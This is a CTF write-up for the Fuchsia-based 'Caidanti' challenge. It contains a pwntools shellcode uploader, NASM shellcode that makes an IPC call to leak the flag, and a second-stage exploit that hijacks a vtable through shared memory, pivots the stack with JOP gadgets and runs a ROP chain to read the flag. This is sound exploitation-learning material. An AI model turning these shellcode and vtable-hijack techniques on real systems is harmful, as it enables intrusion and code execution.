Quick Intro and Tools
Before describe the challange I’d like to share the tooling that I have used to solve it:
- IDA Pro - Disassembler and Reverse Engineering.
- Bless HEX editor - For checking the binaries provided.
- Ropper - ROP gadget finder.
- QEMU - Useful for running the OS and try the challenge locally.
- NASM - Assembler for shellcode.
- Python 3 with pwntools library.
Furthermore, I’d already like to apologize for a long write-up o(╥﹏╥)o. To be honest, I love to document everything that I have I tried, failed and learned while trying to solve the CTF challenge. Anyway, without further ado let’s get started.
Caidanti
The challenge has the following description:
Welcome to Cài Dān Tí (“menu challenge” in Chinese) Up for a wrestling with ptmalloc & glibc challenge? You WILL be disappointed. Built on top of commit ee37c146332dea8f30536b76839190cc6e839f2d
A few hints from the description:
- It probably won’t be the “classic CTF challenges” with ptmalloc/glibc heap meta-data exploitation.
- It gave us a commit number: ee37c146332dea8f30536b76839190cc6e839f2d
- By searching it, we will find that it’s a Google Fuchsia commit.
But.. what is Fuchsia?
Fuchsia
If you already know what is Fuchsia, you can skip this section, otherwise, Fuchsia by the words of our bestfriend Wikipedia:
Fuchsia is an open source capability-based operating system currently being developed by Google. It first became known to the public when the project appeared on a self hosted form of git in August 2016 without any official announcement. The source documentation describes the reasoning behind the name as “Pink + Purple == Fuchsia (a new Operating System)”. In contrast to prior Google-developed operating systems such as Chrome OS and Android, which are based on the Linux kernel, Fuchsia is based on a new microkernel called Zircon, named after the mineral.
The GitHub project suggests Fuchsia can run on many platforms, from embedded systems to smartphones, tablets, and personal computers. In May 2017, Fuchsia was updated with a user interface, along with a developer writing that the project was not a “dumping ground of a dead thing”, prompting media speculation about Google’s intentions with the operating system, including the possibility of it replacing Android. On July 1, 2019 Google announced the homepage of the project, fuchsia.dev, which provides source code and documentation for the newly announced operating system
If you want to read more about the subject, here is the wikipedia article.
tl;dr: It’s an open source operating system written by Google that has been in development for a while. Thus, it’s important for us to know its internals for the challenge, here some documentation for it:
- General documentation: https://fuchsia.googlesource.com/fuchsia/+/master/docs
- Syscall documentation (useful for part 2): https://fuchsia.dev/fuchsia-src/zircon/syscalls/
Okay, now we have some idea what the challenge is about, let’s take a look in the provided files!
Files
We have the following folders and files inside “caidanti.tgz”:
- chal : This folder contains the challenge binaries, those are: caidanti, caidanti-storage-service and launcher
- caidanti: It’s the binary that shows the main menu that we will interact
- caidanti-storage-service: It’s a service with filesystem access that caidanti communicates via IPC, more about it later.
- launcher: basically “open and run” caidanti and caidanti-storage-service.
-run: It contains the files and instructions necessary to run Fuchsia locally. README.txt has a mini tutorial explaining how to do it. I’m assuming that you’ll follow it and setup your own local test.
- sdk : Development kit used to build Fuchsia applications. They’re very useful to get the library binaries like libc, fdio, …
Alright, now that we have a good overview about the challenge, let’s start the part 1!
Part 1
Okay, now that we have a local environment to run your tests, let’s take a quick look what happens if we connect to the challenge server:
>world_ctf_quals_2019/caidanti/dist/run % socat stdio 'TCP6-CONNECT:['$(./netaddr --fuchsia)']:31337'
As usual, we have implemented create/read/update/delete
operations on pointless objects, except that...
THERE ARE NO BUGS! (hopefully)
Bring you own code if that's too boring. Don't worry,
that's safe, because THERE IS NO FLAG!
1. Create a new secret
2. Read content of secret
3. Update content of secret
4. Delete secret
5. List secrets
6. Exit
114514. Bring your own Cài Dān Tí
So, we have here the classic CTF challenge menu, we are able to create “secrets”, each secret has a set of (key, content). There are 6 options and a weird number (114514). Furthermore, the challenge says that if it’s too boring you can bring your own shellcode, so maybe we have an easy way to get code execution in caidanti?
Anyway, after it, I just decided to open the caidanti binary in IDA Pro and reverse it. After a while, I noticed the following code:
default:
// check if the command is 114514
if ( command != 114514 ) {
puts("?");
continue;
}
// insert the sie of the shellcode that we want to write
printf("Your code size: ", v25);
size = read_int();
if ( size >= 0x10001 ) {
msg_text = "I... I can't fit this!";
puts(msg_text);
continue;
}
// map memory for our shellcode
LODWORD(size_) = size;
mem_ = mmap(0LL, (size_t)&loc_FFFF + 1, 3, 0x80022, -1, 0LL);
if ( mem_ == (_BYTE *)-1LL )
{
puts("Failed to allocate memory :(");
continue;
}
mem__ = mem_;
*(stack_frame - 37) = 0xAAu;
// read the shellcode
if ( (_DWORD)size_ )
{
size_ = (signed int)size_;
count = 0LL;
do
{
bytesRead = read(0, stack_buffer - 37, 1uLL);
if ( bytesRead <= 0 )
exit_:
exit(0);
if ( bytesRead != 1 )
break;
mem__[count++] = *(stack_buffer - 37);
}
while ( size_ != count );
}
// map shellcode as R-X
if ( mprotect(mem__, (size_t)&loc_FFFF + 1, 5) < 0 )
puts("Failed to turn memory into executable :(");
else
// fptr/jmp into our shellcode
((void (__fastcall *)(_QWORD, char *))mem__)(0LL, (char *)&loc_FFFF + 1);
continue;
}
}
Alright ᕦ(ò_óˇ)ᕤ! The weird number (aka 114514) actually is a command that allows us to upload and run our own shellcode, easy right? For the shellcode, let’s use NASM, you can write your shellcode and assembler it by using the following command:
nasm shell.asm -o shell.bin
Now, for upload the shellcode I have wrote a python script using pwntools, here is the script:
from pwn import *
import struct
context(arch='amd64')
context.log_level = 'debug'
SHELLCODE_NAME = 'shell.bin'
p = remote('%qemu', 31337)
def create_new_secret(i, size):
p.sendline('1')
p.recvuntil('Key: ')
p.sendline(struct.pack('B', 0x41 + i) * size)
p.recvuntil('Initial content: ')
p.sendline(struct.pack('B', 0x43 + i) * size)
p.recvuntil('114514. Bring your own Cài Dān Tí')
def send_shellcode():
print('[-] sending shellcode')
p.sendline('114514')
p.recvuntil('Your code size: ')
f = open(SHELLCODE_NAME, 'rb')
shellcode = f.read()
f.close()
p.sendline(str(len(shellcode)))
print('[-] size: 0x%X' % len(shellcode))
for i in shellcode:
print('[-] sending byte: 0x%X' % i)
p.send(struct.pack('B', i))
# get ready for sending the commands
p.recvuntil('114514. Bring your own Cài Dān Tí')
create_new_secret(0, 0x10)
for i in range(1, 15):
create_new_secret(i, 0x80)
send_shellcode()
p.interactive()
To make sure that our shellcode is working, let’s try to write only INT 3 instruction, it’ll trigger a software interruption and we can check the registers, stack and other information provided by the “crashdumper”. Here is the result:
[205312.313] 01413:02251> <== fatal exception: process /pkg/bin/caidanti[73396] thread initial-thread[73398]
[205312.313] 01413:02251> <== sw breakpoint, PC at 0x63a432b1f002
[205312.313] 01413:02251> CS: 0 RIP: 0x63a432b1f002 EFL: 0x246 CR2: 0
[205312.313] 01413:02251> RAX: 0 RBX: 0x31a RCX: 0x578d19e9498a RDX: 0
[205312.313] 01413:02251> RSI: 0 RDI: 0 RBP: 0x7097189603fe RSP: 0x6d6f6ae46f68
[205312.313] 01413:02251> R8: 0 R9: 0 R10: 0 R11: 0x206
[205312.313] 01413:02251> R12: 0x7097189623a3 R13: 0x600387e29fc0 R14: 0x70971895fea0 R15: 0x63a432b1f000
[205312.313] 01413:02251> fs.base: 0x50b137e80b38 gs.base: 0
[205312.313] 01413:02251> errc: 0
[205312.313] 01413:02251> bottom of user stack:
[205312.313] 01413:02251> 0x00006d6f6ae46f68: 18966205 00007097 00000000 00000000 |.b...p..........|
[205312.313] 01413:02251> 0x00006d6f6ae46f78: 2c078f70 0000726c 3ffb8eb0 00005d99 |p..,lr.....?.]..|
[205312.313] 01413:02251> 0x00006d6f6ae46f88: 87e29fc0 00006003 87e29fd0 00006003 |.....`.......`..|
[205312.313] 01413:02251> 0x00006d6f6ae46f98: 00000001 00000000 6ae46ff0 00006d6f |.........o.jom..|
[205312.313] 01413:02251> 0x00006d6f6ae46fa8: 3ff707b8 00005d99 87e29fd0 00006003 |...?.].......`..|
[205312.313] 01413:02251> 0x00006d6f6ae46fb8: 00000001 00000000 00000000 00000000 |................|
[205312.313] 01413:02251> 0x00006d6f6ae46fc8: 00000024 00000000 3ff284a0 00005d99 |$..........?.]..|
[205312.313] 01413:02251> 0x00006d6f6ae46fd8: 00000009 00000000 e5e1a44b 00000000 |........K.......|
[205312.313] 01413:02251> 0x00006d6f6ae46fe8: 2c078e80 0000726c 2c078fd0 0000726c |...,lr.....,lr..|
[205312.313] 01413:02251> 0x00006d6f6ae46ff8: 00000000 00000000 |................|
[205312.313] 01413:02251> arch: x86_64
[205312.322] 01413:02251> dso: id=2aa6571acee24348 base=0x70971895f000 name=app:/pkg/bin/caidanti
[205312.322] 01413:02251> dso: id=3bbb161daecb4232 base=0x5d993ff0b000 name=libc.so
[205312.322] 01413:02251> dso: id=c27f348845222148 base=0x5d2e9cd15000 name=libc++.so.2
[205312.322] 01413:02251> dso: id=5d8e98cee74051fe base=0x578d19e8d000 name=<vDSO>
[205312.322] 01413:02251> dso: id=0e2ccaeccb00d6ab base=0x5055a3919000 name=libfdio.so
[205312.322] 01413:02251> dso: id=5aa1a22b01f749ba base=0x23e95eb4f000 name=libasync-default.so
[205312.322] 01413:02251> dso: id=c200204d0d41e6bb base=0x1440b1c4d000 name=libunwind.so.1
[205312.322] 01413:02251> dso: id=6fe653e43b2b5e45 base=0x805869ea000 name=libc++abi.so.1
Perfect! here is a list of information that we can get from the crash dumper:
- R15 is the address for our shellcode, bypass ASLR.
- stack memory + offset 0x18 is an address in libc.so, so we can find libc.so .text base address/bypass ASLR.
- R13 seems to be some sort of RW- memory that I can definitely use to write our .data.
- R12 is an address in caidanti binary, so we can find caidanti .text base address/bypass ASLR.
Alright, so we know the base address for libraries (libc, libfdio) as well as the main binary (caidanti). Furthermore, we know that the flag is at “/pkg/data/flag” by reverse engineering the caidanti binary.. what should we do now?
Failed Attempt 1: Use libc.so to call system(“/boot/bin/sh”)
Well, I might admit that it was kinda silly from my part to think that the challenge would be easy to solve like that.. Anyway, I used the adddress stored at stack+0x18 to read out the address of libc.so and called system with “boot/bin/sh” as argument and guess what? It just make me go back to the caidanti main menu, as if the binary just reopened again. Anyway I wasn’t able to get shell with it o(╥﹏╥)o so I decided to move to something else.
Failed Attempt 2: Use libc.so fopen/fread to read out the flag
Soo… we know the file path for the flag, why not read it out and print? Unfortunately it didn’t work again and the reason? I didn’t pay enough attention, lazy to reverse the binary (NEVER BE LAZY @[email protected]). Furthermore, IO operations aren’t done through libc.so, but through fdio.so library. So I once again calculated the base address now for the libfdio.so and tried to open and read the flag out and guess what? It didn’t work! :(
Final Attempt: Pay attention and reverse the binary properly!
Finally I decided that I needed to reverse the binary and understand it better, after a while doing it, I found out the following:
- All operations (Create, Read, Update, …) are done via IPC (aka FIDL) with caidanti-service-storage.
- The operations uses a lot of std::string for sending/reading information (key + content).
- By checking the object service vtable (the code is written in C++) it does have a few functionalities that aren’t fully implemented, like ‘fidl.caidanti.storage/SecretStorageGetFlag1Response’.
Thus, to obtain the flag we need to write shellcode that will send a SecretStorageGetFlag1Response IPC request to storage-service and it “in theory” should return to us the flag.
To ensure that our “theory” is right, I changed the “read secret content” vtable function to instead call GetFlag1Response function and guess what? it works (^O^)! However, it returns a std::string with “no flag for you” and crashes (due to read secret content expects to return a Virtual Memory Object, more about it later!).
Finally, we can just use the read secret content function (0x6780 in caidanti binary) as the bases for our shellcode, it’ll send a “std::string” object and return a std::string as result. Indeed, it works, but, we still have a small problem, it always returns “no flag for you”, but why? The answer is to reverse the GetFlag1Response function in storage-service, let’s check out the code:
signed __int64 __fastcall s_storage_interface::getFlag(s_interface_storage *this, __int64 *input_buffer, __int64 a3)
{
/* removed for readibility */
; read the string size and make sure it's ok
size = *((unsigned __int8 *)input_buffer + 0x17);
if ( (size & 0x80u) != 0LL )
size = input_buffer[1];
if ( size != 0x10 )
goto error;
; "secret" 64 bits value that will be used together with secret_string_2
; to calculate data_rol_1 and data_rol_2
secret_string = 'pizzatql';
if ( (size & 0x80u) != 0LL )
input_buffer = (__int64 *)*input_buffer;
; boring algorithm to "generate" 128 bits (data_rol_1) and data_rol_2
data_rol_1 = (*input_buffer + __ROL8__(input_buffer[1], 56)) ^ 'pizzatql';
data_rol_2 = data_rol_1 ^ __ROL8__(*input_buffer, 3);
secret_string_2 = 'lqtazzip';
loop_cnt = 0LL;
do
{
secret_string_2 = loop_cnt ^ (secret_string + __ROL8__(secret_string_2, 56));
secret_string = secret_string_2 ^ __ROL8__(secret_string, 3);
data_rol_1 = secret_string ^ (data_rol_2 + __ROL8__(data_rol_1, 56));
data_rol_2 = data_rol_1 ^ __ROL8__(data_rol_2, 3);
++loop_cnt;
}
while ( loop_cnt != 0x1F );
; if the value isn't equal to 0xC9.. and 0x8F...
; it'll just return "No flag for you :("
if ( data_rol_1 != 0xC96AAC2F35C3833FLL || data_rol_2 != 0x8F1FA1AD36C66F95LL )
{
error:
LOBYTE(v18) = aNoFlagForYou[15];
*(_WORD *)((char *)&v18 + 1) = 10298;
HIBYTE(v18) = 0;
v19 = v18;
LOBYTE(v19) = aNoFlagForYou[15];
v14 = stack_frame - 296;
v20 = *(void (__fastcall **)(__int64, unsigned __int64))(*(_QWORD *)a3 + 16LL);
*(_QWORD *)(stack_frame - 0x128) = ' galf oN';
*(_QWORD *)(stack_frame - 0x120) = *(_QWORD *)"for you :(";
So, it’ll read out a string with size 0x10 bytes and use it to calculate data_rol_1 and data_rol_2, if the value is different of the expected, it’ll return “No Flag for you”, here is a code if you want to try to figure out yourself the values that meet the condition:
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>
// SOURCE: https://github.com/joxeankoret/tahh/blob/master/comodo/defs.h
// rotate left
template<class T> T __ROL__(T value, int count)
{
const unsigned int nbits = sizeof(T) * 8;
if ( count > 0 )
{
count %= nbits;
T high = value >> (nbits - count);
if ( T(-1) < 0 ) // signed value
high &= ~((T(-1) << count));
value <<= count;
value |= high;
}
else
{
count = -count % nbits;
T low = value << (nbits - count);
value >>= count;
value |= low;
}
return value;
}
inline uint64_t __ROL8__(uint64_t value, int count) { return __ROL__((uint64_t)value, count); }
int main() {
uint64_t input_buffer_1 = 0x0;
uint64_t input_buffer_2 = 0x0;
uint64_t secret_string = 0x70697A7A6174716CLL;
uint64_t secret_string_2 = 0x6C7174617A7A6970LL;
uint64_t data_rol_1 = ((uint64_t)input_buffer_1 + __ROL8__((uint64_t)input_buffer_2, 0x38)) ^ secret_string;
uint64_t data_rol_2 = data_rol_1 ^ __ROL8__((uint64_t)input_buffer_1, 3);
unsigned int loop_cnt = 0LL;
do
{
secret_string_2 = loop_cnt ^ (secret_string + __ROL8__(secret_string_2, 0x38));
secret_string = secret_string_2 ^ __ROL8__(secret_string, 3);
data_rol_1 = secret_string ^ (data_rol_2 + __ROL8__(data_rol_1, 0x38));
data_rol_2 = data_rol_1 ^ __ROL8__(data_rol_2, 3);
++loop_cnt;
}
while ( loop_cnt != 0x1F );
printf("[-] data_rol_1: %llX\n", data_rol_1);
printf("[-] data_rol_2: %llX\n", data_rol_2);
return 0;
}
Anyway, here is the final result for the 0x10 bytes: 0x416564614d756f59 0x6c6c61434c444946 or just “YouMadeAFIDLCall”.
Nice! Now we just need to send a std::string with YouMadeAFIDLCall and you’ll have a std::string with the flag. We can use the printf function to print its contents out, here is the shellcode for it:
BITS 64
global _start
; offset list
; libc
fopen_offset equ 0x35030
fread_offset equ 0x39200
; canidanti
open_offset equ 0xAD30
flag_offset equ 0x22F1
; printf
printf_offset equ 0xAC40
; free stack
stack_free equ 0x300
; input buffer
stack_offset_1 equ 0x200
; output buffer
stack_offset_2 equ 0x250
; service object offset
service_obj_offset equ 0xC140
_start:
; calculate libc base address
; MOV RBX, 0x40
; ADD RBX, RSP
; MOV RBX, [RBX] ; RBX = address for start_main
; MOV RAX, 0x117B8 ; offset to calculate libc base address
; SUB RBX, RAX ; RBX should be libc base address
; calculate caidanti base address
MOV RAX, 0x1205
MOV RBX, [RSP]
SUB RBX, RAX ; RBX has the base addres
; calculate obj_service address
MOV RAX, service_obj_offset
MOV R14, RBX
ADD R14, RAX ; service object address in memory
; memset
LEA RDI, [R13 - 0x1200]
XOR ESI, ESI
MOV EDX, 0x200
MOV RAX, 0xAC30
MOV R12, RBX
ADD R12, RAX
CALL R12
; setup the input and output buffer
LEA RSI, [R13 - 0x1110]
; write string 'A'
MOV RAX, 0x416564614d756f59
MOV [RSI], RAX
MOV RAX, 0x6c6c61434c444946
MOV [RSI+8], RAX
MOV RAX, 0x0
LEA RSI, [R13 - 0x1150]
MOV [RSI], RAX
LEA RSI, [R13 - 0x1148]
MOV [RSI], RAX
LEA RSI, [R13 - 0x1138]
MOV [RSI], RAX
MOV RAX, 0x10
LEA RSI, [R13 - 0x1131]
MOV [RSI], RAX
; build some object in rsp lol
LEA RAX, [R13 - 0x1150]
MOV [RSP+0x20], RAX
LEA RAX, [R13 - 0x1110]
MOV [RSP+0x10], RAX
MOV RAX, 0x1
MOV [RSP+0x8], RAX
;//////
MOV RAX, 0x416564614d756f59
LEA RSI, [R13 - 0x1148]
MOV [RSI], RAX
MOV RAX, 0x6c6c61434c444946
MOV [RSI+8], RAX
; calculate the vtable ptr
MOV RAX, [R14]
MOV RAX, [RAX]
LEA RSI, [R13 - 0x1148]
MOV RDX, [RSP + 0x20]
MOV RDI, [R14]
CALL [RAX + 0x38]
; calculate printf address
MOV RAX, printf_offset
MOV R12, RBX
ADD R12, RAX
LEA RDX, [R13 - 0x1180 + 0x30]
MOV RDX, [RDX]
MOV RDI, RDX
CALL R12
; overwrite the stack with output for debugging
LEA RDX, [R13 - 0x1180 + 0x30]
MOV RDX, [RDX]
MOV RSP, RDX
INT 3
flag_dir:
db "/pkg/bin/caidanti", 0
permission:
db 'rwa',0
;pop_shell:
; db 'ls', 0
Flag for part 1: rwctf{Turns_out_this_is_harder_than_expected}
Part 2
Unfortunately I wasn’t able to finish the part 2 in time ب_ب . I was stuck in the ROP chain as ROPgadget didn’t provide me enough useful gadgets. Anyway, ropper works well in that aspect (as I was able to solve the challenge using it), or maybe it was just misusage from my part.
Anyway, the second part has the same description, but you can get the idea by the label “pwn”. Probably we need to find a vulnerability in caidanti-storage-service that may be triggered via IPC, by using that vulnerability we may able to get code execution on it and read out the flag.
My strategy at this point was to go throug every interface method in hope to find a memory corruption vulnerability :D.
Failed Attempt 1: “possible” heap overflow in “createSecret” method
Initially I thought I had found a heap overflow in the function that create a new secret. As the function will read the std::string for (key ,content) and write it into a content list with fixed size (0x100 bytes), but, the memcpy uses the length directly from the std::string (that you control). Well, let’s check the code:
void __fastcall s_storage_interface::createSecret(s_interface_storage *this, __int64 a2, _QWORD *input_buffer, __int64 a4)
{
if ( this->secret_0[0] )
{
if ( this->gap170[0x18] )
{
if ( this->secret_2[0x100] ) <---------------------- [1]
{
/* removed for readibility */
}
else
{
secret_id = 2LL;
}
}
else
{
secret_id = 1LL;
}
}
else
{
secret_id = 0LL;
}
this->secret_0[0x120 * secret_id] = 1;
std::__2::basic_string<char,std::__2::char_traits<char>,std::__2::allocator<char>>::operator=(&this->secret_0[0x120 * secret_id + 8]);
size = *((unsigned __int8 *)input_buffer + 23);
if ( !*((_BYTE *)input_buffer + 24) )
goto key_or_content;
if ( (size & 0x80u) != 0LL )
{
if ( input_buffer[1] )
goto key_or_content;
}
else if ( *((_BYTE *)input_buffer + 23) )
{
key_or_content:
dst = &this->secret_0[0x120 * secret_id + 0x20];
if ( (size & 0x80u) != 0LL )
{
content = (_QWORD *)*input_buffer; <-------------------- [2]
size = input_buffer[1];
}
else
{
content = input_buffer;
}
memcpy(dst, content, size); <-------------------- [3]
goto finish;
}
finish:
v11 = *(_QWORD *)(*(_QWORD *)a4 + 16LL);
LABEL_42:
JUMPOUT(unk_59C6);
}
First, we will go through a list of “secret”, verifying which one isn’t in use [1]. After finding a secret that isn’t in use, we will copy the key and content (if we have contents) to the buffer with size 0x100. Notice that at [2] we are reading the content buffer pointer and size that will be directly used in a memcpy at [3] without any bounds-check. I thought that it was possible to overflow the secret content by providing a huge string and maybe we could overwrite something useful.
Anyway, even if that works, I think it would be painful to exploit as I’d need to either derivate an info leak from it or at least find an info leak in another interface method. Well, I ended up writing shellcode to trigger that possible vulnerability and it didn’t work :/. I tried a few times and I thought it would be a nice idea to understand how the update secret function updates the content in the caidanti-storage-service and I ended up finding something better than that, the “true bug” that should be exploited ●‿●.
Final Attempt: The glorious shared-memory
Let’s take a look in the function that updates a secret’s content:
"pseudo-code", I removed some code that isn't important for us right now
unsigned int result = service_object->vtbl->update_content(&service-obj, stack_frame - 0x148, stack_frame - 0x150);
if (!result) {
vmo_obj = *(vmo_obj*)(stack_frame - 0x150); // read the "vmo object" or whatever is it called <----- [1]
if (vmo_obj) {
// get shared memory size
uint64_t size = 0;
if (!zx_vmo_get_size(vmo_obj->handle, &size)) { <------- [2]
// get vmar handle I guess?
unsigned int vmar_handle = zx_vmar_root_self();
// shared memory
zx_vaddr_t* mapped_mem = 0;
// map the shared memory
if (!zx_vmar_map(vmar_handle, 0x3, 0x0, vmo_obj->handle, 0x0, size, shared_memory) { <------- [3]
printf("size: (max %zu", max_size); // 0x100 iirc
unsigned int size_to_write = read_int();
void *content_to_update = shared_memory + vmo_obj->start_offset; <---------- [4]
if (vmo_obj->mem_size > size_to_write) { <---------- [5]
int i = 0;
do {
char data = 0;
int bytesRead = read(0, &data, 0x1);
if (bytesRead <= 0) break;
if (bytesRead == 1) {
*(char*)(content_to_update + i++) = data; <---------- [6]
}
} while (size != i)
} else {
puts("Tha...That's too...too much!");
}
}
}
}
}
Well, I thought we would need to send a combination of (key,content) std::string to update the secret to a new content. But, actually we will return some “information” that will be used with a set of zx_* (syscall) functions. by checking the documentation, we are mapping shared memory, well, let me explain in details what is going on here:
- We will get the “vmo object” (I don’t know if that’s the proper name for it).
- We will read the shared memory region size by using zx_vmo_get_size.
- We will map the shared memory in our address space, now shared_memory will be a pointer into it.
- We will “increment an offset” in the shared_memory pointer, that will indicate where we can write contents.
- We have a “bounds-check” to avoid out-of-bounds write.
- We will update the contents with our new data.
Now we need to write a shellcode that will do exactly the same zx_* function calls and dump the shared memory region to analyze it, for our surprise:
[01453.656] 01413:02022> <== fatal exception: process /pkg/bin/caidanti[9072] thread initial-thread[9074]
[01453.656] 01413:02022> <== sw breakpoint, PC at 0x7ffdc721b307
[01453.656] 01413:02022> CS: 0 RIP: 0x7ffdc721b307 EFL: 0x202 CR2: 0
[01453.656] 01413:02022> RAX: 0x70 RBX: 0xcc6de741000 RCX: 0x57aabfa99975 RDX: 0
[01453.656] 01413:02022> RSI: 0x9450f5c6000 RDI: 0 RBP: 0xcc6de73c3fe RSP: 0x9450f5c6000
[01453.656] 01413:02022> R8: 0 R9: 0 R10: 0 R11: 0x51ce59c81000
[01453.656] 01413:02022> R12: 0x11a449f92070 R13: 0x1b4f93aacfc0 R14: 0x11a449f92000 R15: 0x7ffdc721b000
[01453.656] 01413:02022> fs.base: 0x4abc2c036b38 gs.base: 0
[01453.656] 01413:02022> errc: 0
[01453.656] 01413:02022> bottom of user stack:
[01453.656] 01413:02022> 0x000009450f5c6000: 49f92070 000011a4 00000000 00000000 |p .I............|
[01453.656] 01413:02022> 0x000009450f5c6010: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c6020: 49f92100 000011a4 59c82613 000051ce |.!.I.....&.Y.Q..|
[01453.656] 01413:02022> 0x000009450f5c6030: 49f92820 000011a4 00000000 00000000 | (.I............|
[01453.656] 01413:02022> 0x000009450f5c6040: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c6050: 49f92000 000011a4 00000000 00000000 |. .I............|
[01453.656] 01413:02022> 0x000009450f5c6060: a27bafb0 00004f21 00000001 00000000 |..{.!O..........|
[01453.656] 01413:02022> 0x000009450f5c6070: 59c82928 000051ce 41414141 41414141 |().Y.Q..AAAAAAAA|
[01453.656] 01413:02022> 0x000009450f5c6080: 00000000 10000000 43434343 43434343 |........CCCCCCCC|
[01453.656] 01413:02022> 0x000009450f5c6090: 43434343 43434343 00000000 00000000 |CCCCCCCC........|
[01453.656] 01413:02022> 0x000009450f5c60a0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60b0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60c0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60d0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60e0: 00000000 00000000 00000000 00000000 |................|
[01453.656] 01413:02022> 0x000009450f5c60f0: 00000000 00000000 00000000 00000000 |................|
Definitely there are pointers before the the (key, secret) that will be updated, let’s see what happens if we try to change the first pointer to 0x42424242:
[01562.933] 01413:02022> <== read not-present page fault, PC at 0x1b7f97878276
[01562.933] 01413:02022> CS: 0 RIP: 0x1b7f97878276 EFL: 0x202 CR2: 0x42424242
[01562.933] 01413:02022> RAX: 0x42424242 RBX: 0x10ac10974ed0 RCX: 0xd8a8b761274f4453 RDX: 0x10ac10974e78
[01562.933] 01413:02022> RSI: 0 RDI: 0x170351895000 RBP: 0x10ac10974f90 RSP: 0x4a323f946f40
[01562.933] 01413:02022> R8: 0 R9: 0 R10: 0 R11: 0x202
[01562.933] 01413:02022> R12: 0x10ac10974fc0 R13: 0x170351895000 R14: 0x10ac10974eb0 R15: 0x10ac10974fb0
[01562.933] 01413:02022> fs.base: 0x7c285ef7db38 gs.base: 0
[01562.933] 01413:02022> errc: 0x4
[01562.933] 01413:02022> bottom of user stack:
[01562.933] 01413:02022> 0x00004a323f946f40: 10974d60 000010ac 10974e90 9c98ac3b |`M.......N..;...|
[01562.933] 01413:02022> 0x00004a323f946f50: 10974f10 000010ac 10974ee8 000010ac |.O.......N......|
[01562.933] 01413:02022> 0x00004a323f946f60: 10974e90 000010ac 10974fb8 000010ac |.N.......O......|
[01562.933] 01413:02022> 0x00004a323f946f70: 274f4453 d8a8b761 0f51df70 00007324 |SDO'a...p.Q.$s..|
[01562.933] 01413:02022> 0x00004a323f946f80: 89defeb0 00006d39 10974fc0 000010ac |....9m...O......|
[01562.933] 01413:02022> 0x00004a323f946f90: 10974fd0 000010ac 00000001 00000000 |.O..............|
[01562.933] 01413:02022> 0x00004a323f946fa0: 3f946ff0 00004a32 89da77b8 00006d39 |.o.?2J...w..9m..|
[01562.933] 01413:02022> 0x00004a323f946fb0: 10974fd0 000010ac 00000001 00000000 |.O..............|
[01562.933] 01413:02022> 0x00004a323f946fc0: 00000001 00000000 00000028 00000000 |........(.......|
[01562.933] 01413:02022> 0x00004a323f946fd0: 89d5f4a0 00006d39 0000000a 00000000 |....9m..........|
[01562.933] 01413:02022> 0x00004a323f946fe0: 9e48ac8f 00000000 0f51de60 00007324 |..H.....`.Q.$s..|
[01562.933] 01413:02022> 0x00004a323f946ff0: 0f51dfd0 00007324 00000000 00000000 |..Q.$s..........|
It crashed with RAX = 0x42424242, if we check which instruction in the caidanti-storage-service it happened, for our surprise it’ll be at:
LOAD:000000000000526F mov rax, [r13+0]
LOAD:0000000000005273 mov rdi, r13
LOAD:0000000000005276 call qword ptr [rax]
YES! We have control over an object vtable ᕦ(ò_óˇ)ᕤ and not only that, if we know the address for the object vtable we can calculate the .text base address for caidanti storage bypassing ASLR!
Putting all those information together, here is what we can do:
- We can do an arbitrary function call as we have control over the vtable address
- We know the shared memory base address in caidanti-storage (shared_memory+0x50)
- We can use the shared memory to fake our vtable + write our ROP chain!
- We have control over the registers: RAX (vtable), RDI (shared_memory base address), R13 (shared memory base address)
Alright! At this point our goal is to get ROP in caidati-storage-service process. But how can we do it? Well, I couldn’t find enough gadgets that allows me to easily get control over the stack pointer, so what we can do is write a small JOP chain to get control over the stack pointer register. So here what I did:
; gadget 1:
; here we will control R14, that will be equal to shared_memory base address
; rax will be *(u64*)(shared_memory+0x20) that is the address for\
; our next gadget and we jump into it
LOAD:0000000000006928 mov r14, rdi
LOAD:000000000000692B mov rax, [rdi+20h]
LOAD:000000000000692F add rdi, 30h
LOAD:0000000000006933 call qword ptr [rax+20h]
; gadget 2:
; here we will control RSI, that it'll be *(u64*)(r14+0x30)
; RAX will hold the address for the next gadget
LOAD:0000000000011E3C mov rax, [r14+28h]
LOAD:0000000000011E40 test rax, rax
LOAD:0000000000011E43 jz short loc_11E4E
LOAD:0000000000011E45 mov rsi, [r14+30h]
LOAD:0000000000011E49 mov rdi, r14
LOAD:0000000000011E4C call rax
; gadget 3
; we recovery the control over RAX that will be useful, so it'll
; be pointing into shared memory, the next gadget will be *(u64*)(RAX+0x20)
LOAD:0000000000006613 mov rax, [r14+30h]
LOAD:0000000000006617 lea rdi, [r14+40h]
LOAD:000000000000661B call qword ptr [rax+20h]
; gadget 4
; We push rax (that currently point into shared memory) into stack
; and jump into *(u64*)(RSI+0x2E)
LOAD:00000000000055D4 push rax
LOAD:00000000000055D5 jmp qword ptr [rsi+2Eh]
; gadget 5 - stack pivot
; now we control the stack with the pop, as we have
; pushed rax(shared memory) into the stack on gadget 4
LOAD:0000000000005682 pop rsp
LOAD:0000000000005683 pop r14 ; 0x120
LOAD:0000000000005685 pop r15 ; 0x128
LOAD:0000000000005687 retn
Finally, we can write a ROP chain that will open the flag, read it into the shared memory, here is the result:
[02407.230] 01413:02022> <== fatal exception: process /pkg/bin/caidanti-storage-servi[9520] thread initial-thread[9522]
[02407.230] 01413:02022> <== execute not-present page fault, PC at 0xdeadbeef
[02407.230] 01413:02022> CS: 0 RIP: 0xdeadbeef EFL: 0x206 CR2: 0xdeadbeef
[02407.230] 01413:02022> RAX: 0x51 RBX: 0 RCX: 0xd6193202d941efa3 RDX: 0x2
[02407.230] 01413:02022> RSI: 0x258e85aad8c8 RDI: 0x35cd47721990 RBP: 0x258e85aaff90 RSP: 0x1c49d47b28b0
[02407.230] 01413:02022> R8: 0 R9: 0x258e85aaddd0 R10: 0 R11: 0x7a9ce6c9b7a8
[02407.230] 01413:02022> R12: 0x297f766725d4 R13: 0x1c49d47b2000 R14: 0x2682000000000001 R15: 0x1c49d47b2918
